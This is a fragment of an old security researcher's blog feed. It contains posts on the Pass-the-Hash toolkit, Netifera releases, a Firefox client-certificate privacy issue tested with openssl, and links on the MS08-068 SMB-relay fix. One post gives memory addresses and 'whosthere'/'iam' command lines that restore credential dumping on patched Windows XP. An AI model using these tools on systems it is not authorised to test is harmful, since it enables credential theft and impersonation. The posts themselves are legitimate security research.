type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5167319037011149945'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/10/list-of-addresses-for-pass-hash-toolkit.html' title='List of Addresses for the Pass-the-Hash toolkit -a switch'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7185300500572263251</id><published>2009-05-09T10:28:00.003-03:00</published><updated>2009-05-09T10:36:24.482-03:00</updated><title type='text'>fix for whosthere/iam under XP SP3 with latest updates (May 2009)</title><content type='html'>In my last post I mentioned whosthere/iam were not working anymore with the latest updates for xp sp 3 (but iam-alt/whosthere-alt were still working).&lt;br /&gt;&lt;br /&gt;Ok, I actually forgot I had added the -a switch to the tools to easily overcome this scenario :).&lt;br /&gt;&lt;br /&gt;The only thing you have to do is load lsasrv.dll into IDA and run the passthehash.idc script  included in the toolkit's source package and it will give you back the addresses you need to make whosthere/iam work.&lt;br /&gt;&lt;br /&gt;For xp sp3 english with the latest patches the values are the following:&lt;br /&gt;&lt;br /&gt;75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;so, just run&lt;br /&gt;&lt;br /&gt;whosthere -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;iam.exe [other options...] -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54&lt;br /&gt;&lt;br /&gt;and both tools will work with the latest patches on xp sp3 english.&lt;br /&gt;&lt;br /&gt;If you have a different version of windows just use the IDA .idc script or email me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7185300500572263251?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/7185300500572263251/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=7185300500572263251&amp;isPopup=true' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7185300500572263251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7185300500572263251'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/05/fix-for-whosthereiam-under-xp-sp3-with.html' title='fix for whosthere/iam under XP SP3 with latest updates (May 2009)'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6906964895403333401</id><published>2009-04-29T15:44:00.002-03:00</published><updated>2009-04-29T15:49:49.523-03:00</updated><title type='text'>whosthere/iam not working with latest xp sp3 patches</title><content type='html'>Just wanted to give you a heads up:&lt;br /&gt;&lt;br /&gt;whosthere.exe and iam.exe seem to not be working with all the latest patches for xp sp3 applied. Can't really say which patch caused the problem and it doesn't matter that much anyways.&lt;br /&gt;&lt;br /&gt;The problem is apparently that the tools just can't find the memory addresses they need, based on which I assume fixing the issue is simply a matter of modifying the heuristics used to find these addresses. I'm already looking at this issue and will release a new version soon.&lt;br /&gt;&lt;br /&gt;Meanwhile,  the '-alt' versions of the tools (whosthere-alt.exe and iam-alt.exe) still work; so, if you encounter yourself with this problem, just use the -alt versions.&lt;br /&gt;&lt;br /&gt;As always, feel free to email me if you have any other questions/problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6906964895403333401?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/6906964895403333401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=6906964895403333401&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6906964895403333401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6906964895403333401'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/04/whosthereiam-not-working-with-latest-xp.html' title='whosthere/iam not working with latest xp sp3 patches'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2411519020775223902</id><published>2009-04-07T11:09:00.003-03:00</published><updated>2009-04-07T11:14:52.756-03:00</updated><title type='text'>Netifera Video - The Java Virtual Machine As Shellcode</title><content type='html'>Check this out, netifera is getting interesting:&lt;br /&gt;&lt;br /&gt;"In this screencast we're going to look at some features we are working on for the next version of netifera.&lt;br /&gt;&lt;br /&gt;The two main things we're going to demonstrate are geographical visualiation and the netifera probe which is a deployable software agent that makes it possible to run all netifera platform tools remotely as easily as running them locally.&lt;br /&gt;&lt;br /&gt;We're going to install the probe on the netifera.com webserver, and we'll deply it like shellcode by injecting it directly into memory over the network, using an exploit".&lt;br /&gt;&lt;br /&gt;The video and more information is available at:&lt;br /&gt;&lt;a href="http://blog.netifera.com"&gt;http://blog.netifera.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;direck link to the video:&lt;br /&gt;&lt;a href="http://blog.netifera.com/video-the-java-virtual-machine-as-shellcode/"&gt;http://blog.netifera.com/video-the-java-virtual-machine-as-shellcode/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2411519020775223902?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/2411519020775223902/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=2411519020775223902&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2411519020775223902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2411519020775223902'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/04/netifera-video-java-virtual-machine-as.html' title='Netifera Video - The Java Virtual Machine As Shellcode'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1243662425257188624</id><published>2009-03-27T21:15:00.002-03:00</published><updated>2009-03-27T21:20:50.392-03:00</updated><title type='text'>Netifera v1.0 released!</title><content type='html'>Check out the new version of Netifera! v1.0 has been released!.&lt;br /&gt;&lt;br /&gt;Next is a description of the new features of this release:&lt;br /&gt;&lt;br /&gt;&lt;span class="il"&gt;Netifera&lt;/span&gt; is a new modular open source platform for creating network&lt;br /&gt;security tools. This project provides many advantages for both&lt;br /&gt;security developers and researchers who want to implement new tools as&lt;br /&gt;well as the community of users of these tools.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://netifera.com/download" target="_blank"&gt;http://&lt;span class="il"&gt;netifera&lt;/span&gt;.com/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tools&lt;br /&gt;&lt;br /&gt;* Full IPv6 support&lt;br /&gt;* TCP and UDP network scanning&lt;br /&gt;* Service detection&lt;br /&gt;* Operating system identification&lt;br /&gt;* Reverse DNS scanning&lt;br /&gt;* DNS name brute forcing&lt;br /&gt;* DNS zone transfer information gathering&lt;br /&gt;* Geographical information about network addresses&lt;br /&gt;* Authentication brute force attack (against HTTP, FTP,IMAP and POP3)&lt;br /&gt;* Web crawler discovers applications, collects email addresses and&lt;br /&gt;adds the site structure to the model&lt;br /&gt;* Integrated terminal for connecting to and interacting with network services&lt;br /&gt;&lt;br /&gt;Passive Tools&lt;br /&gt;&lt;br /&gt;* Modular packet capture service&lt;br /&gt;* Capture packets on multiple interfaces simultaneously&lt;br /&gt;* Parse ’pcap’ format capture files as input to sniffing modules&lt;br /&gt;* HTTP traffic analysis&lt;br /&gt;* DNS information gathering from captured responses&lt;br /&gt;* Network stack fingerprinting&lt;br /&gt;* Service detection from captured banners and protocol packets&lt;br /&gt;* Client application detection&lt;br /&gt;* Credential sniffing for many protocols&lt;br /&gt;&lt;br /&gt;Data Model&lt;br /&gt;&lt;br /&gt;All information discovered by the &lt;span class="il"&gt;netifera&lt;/span&gt; platform is persistently&lt;br /&gt;stored in a workspace database. Our extension design allows for&lt;br /&gt;developers to easily create their own data types and integrate them&lt;br /&gt;into the platform.&lt;br /&gt;&lt;br /&gt;User Interface&lt;br /&gt;&lt;br /&gt;The platform provides an intuitive and professional quality graphical&lt;br /&gt;user interface for using the tools written for our platform and&lt;br /&gt;navigating the information they produce. Different tasks in our&lt;br /&gt;application such as sniffing information from the network, or actively&lt;br /&gt;collecting information by scanning networks, or exploring the local&lt;br /&gt;environment of a remotely deployed probe (coming soon! ) each have a&lt;br /&gt;specialized configuration of the user interface called a ’perspective’&lt;br /&gt;&lt;br /&gt;Programming API&lt;br /&gt;&lt;br /&gt;The &lt;span class="il"&gt;netifera&lt;/span&gt; platform brings together high quality programming APIs&lt;br /&gt;for tasks such as:&lt;br /&gt;&lt;br /&gt; High performance asynchronous socket connection and communication&lt;br /&gt; Link level packet capture and raw socket injection&lt;br /&gt; 802.11 monitor mode packet capture and injection (coming soon! )&lt;br /&gt; Network protocol header construction and analysis (ethernet, ip, tcp, etc...)&lt;br /&gt; Application layer protocol libraries (http, dns, ftp, etc...)&lt;br /&gt;&lt;br /&gt;Download &lt;span class="il"&gt;netifera&lt;/span&gt; 1.0 for LInux and Mac OS X from:&lt;br /&gt;&lt;br /&gt; &lt;a href="http://netifera.com/download" target="_blank"&gt;http://&lt;span class="il"&gt;netifera&lt;/span&gt;.com/download&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; * Important * Remove older versions before installing&lt;br /&gt;If you have any previous version installed, you must delete the entire&lt;br /&gt;directory (or move it out of the way) before installing this version.&lt;br /&gt;This version is not compatible with the workspaces created with&lt;br /&gt;previous beta versions so you should remove the .&lt;span class="il"&gt;netifera&lt;/span&gt; folder from your home&lt;br /&gt;directory (rm -rf ~/.&lt;span class="il"&gt;netifera&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;Contact us&lt;br /&gt;We need your feedback to improve &lt;span class="il"&gt;netifera&lt;/span&gt;. If you have bugs to report,&lt;br /&gt;trace backs, screen captures of failures, .log files,  or comments&lt;br /&gt;about anything that annoys you while using &lt;span class="il"&gt;netifera&lt;/span&gt; send them to:&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:bugs@netifera.com"&gt;bugs@&lt;span class="il"&gt;netifera&lt;/span&gt;.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thank you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1243662425257188624?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1243662425257188624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1243662425257188624&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1243662425257188624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1243662425257188624'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/03/netifera-v10-released.html' title='Netifera v1.0 released!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4868878158488536577</id><published>2009-01-23T16:55:00.005-02:00</published><updated>2009-01-23T17:14:11.983-02:00</updated><title type='text'>Microsoft wants to listen to music with me</title><content type='html'>I just installed Windows 7 Beta, I run Windows Media Player for the first time and I get the following dialog:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s1600-h/wmp_small1_marked.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 263px;" src="http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s320/wmp_small1_marked.png" alt="" id="BLOGGER_PHOTO_ID_5294565377294104786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The default option is 'Recommended Settings' but I notice that it says 'send usage data from the Player to Microsoft' and I go 'nah..' and choose 'Custom settings' because it says 'Customize privacy,..'&lt;br /&gt;&lt;br /&gt;I click 'Next' and the following dialog appears:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sUXOjNfwj9k/SXoUA1us1zI/AAAAAAAAACs/jLoP63GLzaw/s1600-h/wmp_small2_mark.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 263px;" src="http://4.bp.blogspot.com/_sUXOjNfwj9k/SXoUA1us1zI/AAAAAAAAACs/jLoP63GLzaw/s320/wmp_small2_mark.png" alt="" id="BLOGGER_PHOTO_ID_5294566316582950706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But mhmmm....I can't uncheck the 'I want to help make Microsoft software and services even better by sending Player usage data to Microsoft'...&lt;br /&gt;&lt;br /&gt;I like it how they try to sell it to you... 'come on! help Microsoft make this software even better! helping is good! help! if you help you're a good person! heeeeeeeelp!' ...&lt;br /&gt;&lt;br /&gt;I guess this is a 'conditioned' beta, you get to play with the software but only if you are willing to 'help'.. :) which is good, right? :)&lt;br /&gt;&lt;br /&gt;It's a silly thing anyways, but I thought it was funny.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4868878158488536577?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4868878158488536577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4868878158488536577&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4868878158488536577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4868878158488536577'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2009/01/microsoft-wants-to-listen-music-with-me.html' title='Microsoft wants to listen to music with me'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sUXOjNfwj9k/SXoTKKmyeNI/AAAAAAAAACk/jRenxcneXEE/s72-c/wmp_small1_marked.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-8767757494698168446</id><published>2008-12-23T15:24:00.005-02:00</published><updated>2008-12-23T15:39:47.187-02:00</updated><title type='text'>Firefox and client certificates: a privacy issue</title><content type='html'>There's something disturbing in the way Firefox handles client certificates in some situtations; in fact I just sent an email to Mozilla Security a few days ago and the person who answered me verified they knew about it and in fact they had issued an advisory some time ago, but it seems I missed it, so my bad.&lt;br /&gt;&lt;p&gt;This person kindly provided me the following links which are very informative:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;discussion of the bug behind the behaviour:&lt;br /&gt;&lt;a href="http://www.mozilla.org/security/announce/2008/mfsa2008-17.html"&gt;http://www.mozilla.org/security/announce/2008/mfsa2008-17.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;An article that attemps to describe the algorithm used by Firefox for picking the cert and ways to improve it&lt;br /&gt;&lt;a href="http://www.mozilla.org/security/announce/2008/mfsa2008-17.html"&gt;http://www.mozilla.org/security/announce/2008/mfsa2008-17.html&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;developers newsgroup where you can talk about certificate issues:&lt;br /&gt;&lt;a href="http://news.mozilla.org/mozilla.dev.tech.crypto"&gt;http://news.mozilla.org/mozilla.dev.tech.crypto&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;There're still things, in the last article specially, that I think do not match what happens in reality, but oh well.. maybe in some other post, I still need to check some things before saying anything more.&lt;br /&gt;&lt;br /&gt;Thanks to Mozilla Security for their prompt response and the links.&lt;br /&gt;&lt;br /&gt;So, here's the thing:&lt;br /&gt;&lt;br /&gt;Let's assume you use client cerficates for some web sites and you have imported them into Firefox.&lt;br /&gt;&lt;br /&gt;By default, if a remote https server requires client certificates, Firefox is setup to display a dialog box listing the certificates you have in Firefox's certificate store and let you choose which one to present to the remote https server.&lt;br /&gt;&lt;br /&gt;This is the default option and can be found in the Edit-&gt;Preferences-&gt;Advanced-&gt;Encryption Tab under 'Certificates' (or Tools-&gt;Options-&gt;Advanced-&gt;Encryption if you're running Windows).&lt;br /&gt;&lt;br /&gt;The option is called 'Ask me every time'.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The problem with using this option is that sometimes with some web servers, Firefox will ask you again and again and again which certificate to use. For example, if you're using VMWare server and accessing it thru the web interface, you'll have this problem.&lt;br /&gt;&lt;br /&gt;According to the person I 'talked' to at Mozilla Security this is because the servers are misconfigured, do not cache the SSL session and re-request the certificate on every connection; which sounds reasonable (I think).&lt;br /&gt;&lt;br /&gt;The thing is that, in these situations, it is impossible to keep the 'Ask me every time' option enabled.. having the 'choose certificate' dialog appearing every 2 minutes while you're trying to do somethings drives you crazy..&lt;br /&gt;&lt;br /&gt;I'm not saying it is Firefox's fault , I'm saying it's just impossible to keep that option enabled in these cases.&lt;br /&gt;&lt;br /&gt;So, what can you do? You can go and change the option to be 'Select one automatically'.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s1600-h/selectcertauto.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 301px;" src="http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s320/selectcertauto.png" alt="" id="BLOGGER_PHOTO_ID_5283039672412082322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Doing that will solve all your problems, the dialog asking for which certificate to use will not appear any more because Firefox will choose one for you.&lt;br /&gt;&lt;br /&gt;THE THING IS... Firefox's algorithm to choose which certificate to send is not very good.. to tell you the truth I have no idea exactly what's the algorithm they use (the information found in the link I mentioned above was not enough for me to understand exactly how it works).. but from what I've seen in practice.. it is very bad..&lt;br /&gt;&lt;br /&gt;Because of this, situations like the following can occur:&lt;br /&gt;&lt;br /&gt;* You have a client certificate for the Organization 'Organization A' stored in the Firefox certificate store&lt;br /&gt;&lt;br /&gt;* You connect using https to www.organizationb.com (or any other domain, www.whatever.com, just one that has absolutely NOTHING to do with the organization that provided you with the client certificate :)). This https server requires client certificates.&lt;br /&gt;&lt;br /&gt;* if you have the 'Select one automatically' option enabled, it is very likely that Firefox will send the client certificate for 'Organization A' to this unknown, untrusted, arbitrary https server (specially if this is the only client certificate you have).&lt;br /&gt;&lt;br /&gt;* This all happens transparently, you'll never know it happened.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So... this is not very good.. it's a privacy issue.. client certificates usually contain email-addresses, the name of organizations, YOUR NAME, YOUR EMAIL ADDRESS,... you get the idea..&lt;br /&gt;&lt;br /&gt;So, if you have the 'Select one automatically' option enabled, anyone on the Internet can potentially know your name, your organization's name, your e-mail address.. not very good.. and it all happens behind the scenes.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;So, again, using 'Select one automatically'... not a very good idea.. :)&lt;br /&gt;&lt;br /&gt;If you use client certificates, you can also create a 'fake' certificate without any personal information and hope Firefox will deliver that one to the remote server. I tried this and it works, but I haven't yet thoroughly analyzed the algorithm they use to choose which certificate to send to be able to to tell you how to create it and whether a remote server can still make Firefox send your other certificates.&lt;br /&gt;&lt;br /&gt;So let me repeat again, 'Ask me every time' is the default option in Firefox (this is very important), however, sometimes, as I explained before, having this option enabled is not possible (yes, the scenarios are limited, but they exist), so.. in these special cases.. I recommend having a 'fake' cert or enabling 'select one automatically' and then be sure not to access any other web server :) (not browsing only https servers is not enough, think redirect.. ) until you change the setting back to 'Ask me every time' :).&lt;br /&gt;&lt;br /&gt;if you want to try this out, you can use openssl:&lt;br /&gt;&lt;br /&gt;* Enable 'select one automatically' if you haven't enabled it already&lt;br /&gt;* create a fake server certificate to use with openssl&lt;br /&gt;* run the following command: sudo openssl s_server -accept 443 -cert server.crt -key server.key -crl_check -verify -state -HTTP (or change -accept 443 to -accept &lt;some_high_port&gt; to avoid running openssl as root.. it's just a test anyways.. )&lt;br /&gt;* go to your browser and access https://localhost/something&lt;br /&gt;* the client certificate information will be displayed by openssl&lt;br /&gt;&lt;/some_high_port&gt;&lt;/p&gt;See the next screenshot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sUXOjNfwj9k/SVEgB1A4NHI/AAAAAAAAACU/NWVfPD_FXEA/s1600-h/openssl.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 212px;" src="http://3.bp.blogspot.com/_sUXOjNfwj9k/SVEgB1A4NHI/AAAAAAAAACU/NWVfPD_FXEA/s320/openssl.png" alt="" id="BLOGGER_PHOTO_ID_5283039053665023090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* you can also add the -debug parameter to openssl if you want to obtain more verbose information&lt;br /&gt;* you can also use ruby and WEBrick (you won't have to create a fake server certificate); or any other scripting language :)&lt;br /&gt;&lt;br /&gt;So, there're many improvements that could be done to the 'Select one automatically' option (some are very naive and are mistakes :)).. so be careful..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8767757494698168446?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/8767757494698168446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=8767757494698168446&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8767757494698168446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/8767757494698168446'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/12/firefox-and-client-certificates-privacy.html' title='Firefox and client certificates: a privacy issue'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sUXOjNfwj9k/SVEgl2BrEJI/AAAAAAAAACc/n2pNt8-qUKc/s72-c/selectcertauto.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3873639500886776780</id><published>2008-12-12T10:19:00.000-02:00</published><updated>2008-12-12T10:24:53.096-02:00</updated><title type='text'>Netifera beta2 released</title><content type='html'>Netifera just released beta2. check it out: &lt;a href="http://blog.netifera.com/beta-2-released/"&gt;http://blog.netifera.com/beta-2-released/&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;I really like where this tool/framework is going. If you're a consultant or something like that :), and you wanted a very good framework, with a nice GUI, nice plugin architecture, oriented towards data gathering, passive and active network discovery, creating associations between discovered entities, and more, you have to check out this tool.&lt;br /&gt;&lt;br /&gt;Of course, it is still in beta, and lots of things need to be added, improved, fixed; but anyways, like I said, I really like the direction the tool is taking.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3873639500886776780?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3873639500886776780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3873639500886776780&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3873639500886776780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3873639500886776780'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/12/netifera-beta2-released.html' title='Netifera beta2 released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2731969414248305985</id><published>2008-11-13T10:05:00.000-02:00</published><updated>2008-11-13T10:12:40.551-02:00</updated><title type='text'>MS08-068 - anti-smbrelay?</title><content type='html'>Ok, this is kind of a lame post because I'm gonna give you links to posts made by other people, but oh well, I felt like sharing what I'd found and I'm posting links and not reposting anything, so it should be fine :).&lt;br /&gt;&lt;br /&gt;I was looking for information about how &lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"&gt;MS08-068&lt;/a&gt; tried to prevent the smbrelay attack (or "SMB credentials reflection attack"  as MS likes to call it) and the best post I found was this one from metasploit's blog:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html"&gt;http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I also find interesting the following posts:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx"&gt;http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx"&gt;http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyways, I haven't verified any of the things said in these posts, so "trust, but verify".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2731969414248305985?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/2731969414248305985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=2731969414248305985&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2731969414248305985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2731969414248305985'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/11/ms08-068-anti-smbrelay.html' title='MS08-068 - anti-smbrelay?'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-1344971461402448756</id><published>2008-11-03T07:16:00.002-02:00</published><updated>2008-11-03T07:31:58.594-02:00</updated><title type='text'>HITB2008 - Malaysia - Pass-The-Hash Toolkit for Windows Presentation</title><content type='html'>Hey, so I'm back from Malaysia!.&lt;br /&gt;Great place, very interesting, I need to go back as soon as possible :).&lt;br /&gt;&lt;br /&gt;Thanks to Dhillon for the opportunity to present in the conference and going to Malaysia, and the entire HITB Crew for your help during the conference. Special Thanks go to Fabian, a HITB Volunteer, that waited for me at the airport at 6:20am to send me on my way to the Hotel. Thanks Fabian! 